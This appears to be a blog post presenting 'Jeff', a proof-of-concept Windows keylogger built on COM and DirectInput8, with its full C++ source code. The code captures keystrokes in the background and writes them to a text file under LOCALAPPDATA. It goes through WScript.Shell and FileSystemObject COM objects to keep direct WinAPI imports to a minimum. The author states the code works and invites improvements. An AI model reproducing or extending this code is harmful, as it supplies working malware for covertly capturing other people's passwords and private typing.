"Jeff", COM-only keylogger
Why is this named Jeff? I did a mini-Twitter poll and the most upvoted comment was "Jeff". So, here we are — my proof-of-concept COM (Component Object Model) keylogger is named Jeff. This codebase relies on 3 WINAPI functions. GetModuleHandleW, GetConsoleWindow, and Sleep. GetModuleHandleW can be replaced with a custom implementation (which is present on this site under Wrappers and Helpers). GetConsoleWindow forwards to NTDLL!CsrClientCallServer (I don't feel like dealing with that). Sleep can be found somewhere, in some interface, probably. I got tired of digging around. Maybe someone else can improve it? Anyway, here is the code. It works. The logging portion can be really finnicky because of how you have to poll for user input. DirectInput8 doesn't have any callback routines like other APIs do. It also doesn't have anything for key press down or key press up (it's a mess). If you find any major bugs let me know. - smelly smellington
#include <windows.h>
#include <dinput.h>
#include <comdef.h>
#pragma comment(lib, "dinput8.lib")
#pragma comment(lib, "dxguid.lib")
typedef struct __DIRECTINPUTKEY {
INT Key;
WCHAR Name[20 * sizeof(WCHAR)];
}DIRECTINPUT_MAPPING, *PDIRECTINPUT_MAPPING;
DIRECTINPUT_MAPPING KeyObject[] =
{
{DIK_ESCAPE, L"ESCAPE"}, {DIK_RETURN, L"\r\n"}, {DIK_BACK, L"\b"},
{DIK_TAB, L"TAB"}, {DIK_SPACE, L" "}, {DIK_LCONTROL, L"LEFT CTRL"},
{DIK_RCONTROL, L"RIGHT CTRL"}, {DIK_LSHIFT, L"LEFT SHIFT"}, {DIK_RSHIFT, L"RIGHT SHIFT"},
{DIK_LMENU, L"LEFT ALT"}, {DIK_RMENU, L"RIGHT ALT"}, {DIK_CAPSLOCK, L"CAPS LOCK"},
{DIK_A, L"A"}, {DIK_B, L"B"}, {DIK_C, L"C"}, {DIK_D, L"D"}, {DIK_E, L"E"}, {DIK_F, L"F"},
{DIK_G, L"G"}, {DIK_H, L"H"}, {DIK_I, L"I"}, {DIK_J, L"J"}, {DIK_K, L"K"}, {DIK_L, L"L"},
{DIK_M, L"M"}, {DIK_N, L"N"}, {DIK_O, L"O"}, {DIK_P, L"P"}, {DIK_Q, L"Q"}, {DIK_R, L"R"},
{DIK_S, L"S"}, {DIK_T, L"T"}, {DIK_U, L"U"}, {DIK_V, L"V"}, {DIK_W, L"W"}, {DIK_X, L"X"},
{DIK_Y, L"Y"}, {DIK_Z, L"Z"}, {DIK_1, L"1"}, {DIK_2, L"2"}, {DIK_3, L"3"}, {DIK_4, L"4"},
{DIK_5, L"5"}, {DIK_6, L"6"}, {DIK_7, L"7"}, {DIK_8, L"8"}, {DIK_9, L"9"}, {DIK_0, L"0"},
{DIK_F1, L"F1"}, {DIK_F2, L"F2"}, {DIK_F3, L"F3"}, {DIK_F4, L"F4"}, {DIK_F5, L"F5"},
{DIK_F6, L"F6"}, {DIK_F7, L"F7"}, {DIK_F8, L"F8"}, {DIK_F9, L"F9"}, {DIK_F10, L"F10"},
{DIK_F11, L"F11"}, {DIK_F12, L"F12"}, {DIK_UP, L"UP ARROW"}, {DIK_DOWN, L"DOWN ARROW"},
{DIK_LEFT, L"LEFT ARROW"}, {DIK_RIGHT, L"RIGHT ARROW"}
};
SIZE_T StringLengthW(_In_ LPCWSTR String)
{
LPCWSTR String2;
for (String2 = String; *String2; ++String2);
return (String2 - String);
}
PWCHAR StringCopyW(_Inout_ PWCHAR String1, _In_ LPCWSTR String2)
{
PWCHAR p = String1;
while ((*p++ = *String2++) != 0);
return String1;
}
PWCHAR StringConcatW(_Inout_ PWCHAR String, _In_ LPCWSTR String2)
{
StringCopyW(&String[StringLengthW(String)], String2);
return String;
}
DWORD Win32FromHResult(_In_ HRESULT Result)
{
if ((Result & 0xFFFF0000) == MAKE_HRESULT(SEVERITY_ERROR, FACILITY_WIN32, 0))
return HRESULT_CODE(Result);
if (Result == S_OK)
return ERROR_SUCCESS;
return ERROR_CAN_NOT_COMPLETE;
}
PWCHAR KeyObjectLookup(INT Key)
{
INT Size = sizeof(KeyObject) / sizeof(KeyObject[0]);
for (INT i = 0; i < Size; i++)
{
if (KeyObject[i].Key == Key)
return KeyObject[i].Name;
}
return (PWCHAR)L"";
}
DWORD PollDirectInput(IDirectInputDevice8W* Keyboard, IDispatch* TextStream, DISPID WriteOperation)
{
CHAR Key[256] = { 0 };
HRESULT Result = S_OK;
VARIANT Buffer; VariantInit(&Buffer);
DISPPARAMS Parameters = { &Buffer, NULL, 1, 0 };
Result = Keyboard->GetDeviceState(sizeof(Key), (LPVOID)&Key);
if (!SUCCEEDED(Result))
return Win32FromHResult(Result);
for (DWORD dwX = 0; dwX < 256; dwX++)
{
if (Key[dwX] & 0x80)
{
Buffer.vt = VT_BSTR;
Buffer.bstrVal = SysAllocString(KeyObjectLookup(dwX));
Result = TextStream->Invoke(WriteOperation, IID_NULL, LOCALE_USER_DEFAULT, DISPATCH_METHOD, &Parameters, NULL, NULL, NULL);
if (!SUCCEEDED(Result))
return Win32FromHResult(Result);
}
}
VariantClear(&Buffer);
return ERROR_SUCCESS;
}
HRESULT CheckComApartment(VOID)
{
APTTYPE Type;
APTTYPEQUALIFIER Qualifier;
return CoGetApartmentType(&Type, &Qualifier);
}
HRESULT CoGetLocalAppData(PWCHAR Path)
{
HRESULT Result = S_OK;
CLSID WscriptObject = { 0 };
IDispatch* Shell = NULL;
IDispatch* Environment = NULL;
OLECHAR* Method = (PWCHAR)L"Environment";
DISPID DispidEnvironment;
DISPID DispidItem;
OLECHAR* Item = (PWCHAR)L"Item";
VARIANT VariableName; VariantInit(&VariableName);
VariableName.vt = VT_BSTR;
VariableName.bstrVal = SysAllocString(L"LOCALAPPDATA");
VARIANT VariableResult; VariantInit(&VariableResult);
DISPPARAMS VariableParameters{ &VariableName, NULL, 1, 0 };
VARIANT VarSystem; VariantInit(&VarSystem);
VarSystem.vt = VT_BSTR;
VarSystem.bstrVal = SysAllocString(L"Process");
VARIANT VarResult; VariantInit(&VarResult);
DISPPARAMS Parameters{ &VarSystem, NULL, 1, 0 };
Result = CLSIDFromProgID(L"WScript.Shell", &WscriptObject);
if (!SUCCEEDED(Result))
goto EXIT_ROUTINE;
Result = CoCreateInstance(WscriptObject, NULL, CLSCTX_INPROC_SERVER, IID_IDispatch, (PVOID*)&Shell);
if (!SUCCEEDED(Result))
goto EXIT_ROUTINE;
Result = Shell->GetIDsOfNames(IID_NULL, &Method, 1, LOCALE_USER_DEFAULT, &DispidEnvironment);
if (!SUCCEEDED(Result))
goto EXIT_ROUTINE;
Result = Shell->Invoke(DispidEnvironment, IID_NULL, LOCALE_USER_DEFAULT, DISPATCH_PROPERTYGET, &Parameters, &VarResult, NULL, NULL);
if (!SUCCEEDED(Result))
goto EXIT_ROUTINE;
if (VarResult.vt == VT_DISPATCH && VarResult.pdispVal != NULL)
{
Environment = VarResult.pdispVal;
Environment->AddRef();
}
else
goto EXIT_ROUTINE;
Result = Environment->GetIDsOfNames(IID_NULL, &Item, 1, LOCALE_USER_DEFAULT, &DispidItem);
if (!SUCCEEDED(Result))
goto EXIT_ROUTINE;
Result = Environment->Invoke(DispidItem, IID_NULL, LOCALE_USER_DEFAULT, DISPATCH_PROPERTYGET, &VariableParameters, &VariableResult, NULL, NULL);
if (!SUCCEEDED(Result))
goto EXIT_ROUTINE;
if (StringCopyW(Path, VariableResult.bstrVal) == NULL)
goto EXIT_ROUTINE;
EXIT_ROUTINE:
if (VarSystem.vt != VT_EMPTY)
VariantClear(&VarSystem);
if (VariableName.vt != VT_EMPTY)
VariantClear(&VariableName);
if (VariableResult.vt != VT_EMPTY)
VariantClear(&VariableResult);
if (VarResult.vt != VT_EMPTY)
VariantClear(&VarResult);
if (Environment)
Environment->Release();
if (Shell)
Shell->Release();
return Result;
}
HRESULT LoadFileSystemObject(IDispatch** Fso)
{
CLSID Clsid;
HRESULT Result = S_OK;
Result = CLSIDFromProgID(L"Scripting.FileSystemObject", &Clsid);
if (!SUCCEEDED(Result))
return E_FAIL;
return CoCreateInstance(Clsid, NULL, CLSCTX_INPROC_SERVER, IID_IDispatch, (PVOID*)Fso);
}
HRESULT LoadDirectInput8Objects(IDirectInput8W** Input, IDirectInputDevice8W** Keyboard)
{
HRESULT Result = S_OK;
Result = DirectInput8Create(GetModuleHandleW(NULL), DIRECTINPUT_VERSION, IID_IDirectInput8, (PVOID*)Input, NULL);
if (!SUCCEEDED(Result))
return E_FAIL;
return (*Input)->CreateDevice(GUID_SysKeyboard, Keyboard, NULL);
}
HRESULT CoOpenTextStream(IDispatch* Fso, IDispatch** TextStream, PWCHAR OutputPath)
{
DISPID OpenTextFile;
OLECHAR* Method = (PWCHAR)L"OpenTextFile";
HRESULT Result = S_OK;
VARIANTARG OpenTextFileArguments[4];
DISPPARAMS Parameters{ OpenTextFileArguments, NULL, 4, 0 };
VARIANT VarResult;
VariantInit(&VarResult);
Result = Fso->GetIDsOfNames(IID_NULL, &Method, 1, LOCALE_USER_DEFAULT, &OpenTextFile);
if (!SUCCEEDED(Result))
return E_FAIL;
for (DWORD dwX = 0; dwX < 4; dwX++)
VariantInit(&OpenTextFileArguments[dwX]);
OpenTextFileArguments[0].vt = VT_I4;
OpenTextFileArguments[0].lVal = -1;
OpenTextFileArguments[1].vt = VT_BOOL;
OpenTextFileArguments[1].boolVal = VARIANT_TRUE;
OpenTextFileArguments[2].vt = VT_I4;
OpenTextFileArguments[2].lVal = 2;
OpenTextFileArguments[3].vt = VT_BSTR;
OpenTextFileArguments[3].bstrVal = SysAllocString(OutputPath);
Result = Fso->Invoke(OpenTextFile, IID_NULL, LOCALE_USER_DEFAULT, DISPATCH_METHOD, &Parameters, &VarResult, NULL, NULL);
if (!SUCCEEDED(Result))
return E_FAIL;
if (VarResult.vt == VT_DISPATCH && VarResult.pdispVal != NULL)
*TextStream = VarResult.pdispVal;
else
return E_FAIL;
for (DWORD dwX = 0; dwX < 4; dwX++)
VariantClear(&OpenTextFileArguments[dwX]);
return Result;
}
INT main(VOID)
{
HRESULT Result = S_OK;
BOOL bFlag = FALSE;
IDirectInput8W* DirectInput = NULL;
IDirectInputDevice8W* Keyboard = NULL;
IMalloc* Allocator = NULL;
PWCHAR OutputPath = NULL;
IDispatch* Fso = NULL;
IDispatch* TextStream = NULL;
DISPID WriteOperation;
OLECHAR* Method = (PWCHAR)L"Write";
Result = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);
if (!SUCCEEDED(Result))
goto EXIT_ROUTINE;
Result = LoadFileSystemObject(&Fso);
if (!SUCCEEDED(Result))
goto EXIT_ROUTINE;
Result = LoadDirectInput8Objects(&DirectInput, &Keyboard);
if (!SUCCEEDED(Result))
goto EXIT_ROUTINE;
Result = CoGetMalloc(1, &Allocator);
if (!SUCCEEDED(Result))
goto EXIT_ROUTINE;
OutputPath = (PWCHAR)Allocator->Alloc(MAX_PATH * sizeof(WCHAR));
if (OutputPath == NULL)
goto EXIT_ROUTINE;
Result = CoGetLocalAppData(OutputPath);
if (!SUCCEEDED(Result))
goto EXIT_ROUTINE;
if (StringConcatW(OutputPath, L"\\MyDemo.txt") == NULL)
goto EXIT_ROUTINE;
Result = CoOpenTextStream(Fso, &TextStream, OutputPath);
if (!SUCCEEDED(Result))
goto EXIT_ROUTINE;
Result = Keyboard->SetDataFormat(&c_dfDIKeyboard);
if (!SUCCEEDED(Result))
goto EXIT_ROUTINE;
Result = Keyboard->SetCooperativeLevel(GetConsoleWindow(), DISCL_BACKGROUND | DISCL_NONEXCLUSIVE);
if (!SUCCEEDED(Result))
goto EXIT_ROUTINE;
Result = Keyboard->Acquire();
if (!SUCCEEDED(Result))
goto EXIT_ROUTINE;
Result = TextStream->GetIDsOfNames(IID_NULL, &Method, 1, LOCALE_USER_DEFAULT, &WriteOperation);
if (!SUCCEEDED(Result))
goto EXIT_ROUTINE;
while (TRUE)
{
PollDirectInput(Keyboard, TextStream, WriteOperation);
Sleep(50);
}
bFlag = TRUE;
EXIT_ROUTINE:
Result = CheckComApartment();
if (SUCCEEDED(Result))
{
if (OutputPath)
Allocator->Free(OutputPath);
if (Allocator)
Allocator->Release();
if (Fso)
Fso->Release();
if (TextStream)
TextStream->Release();
if (Keyboard)
{
Keyboard->Unacquire();
Keyboard->Release();
}
if (DirectInput)
DirectInput->Release();
CoUninitialize();
}
return bFlag;
}
Last updated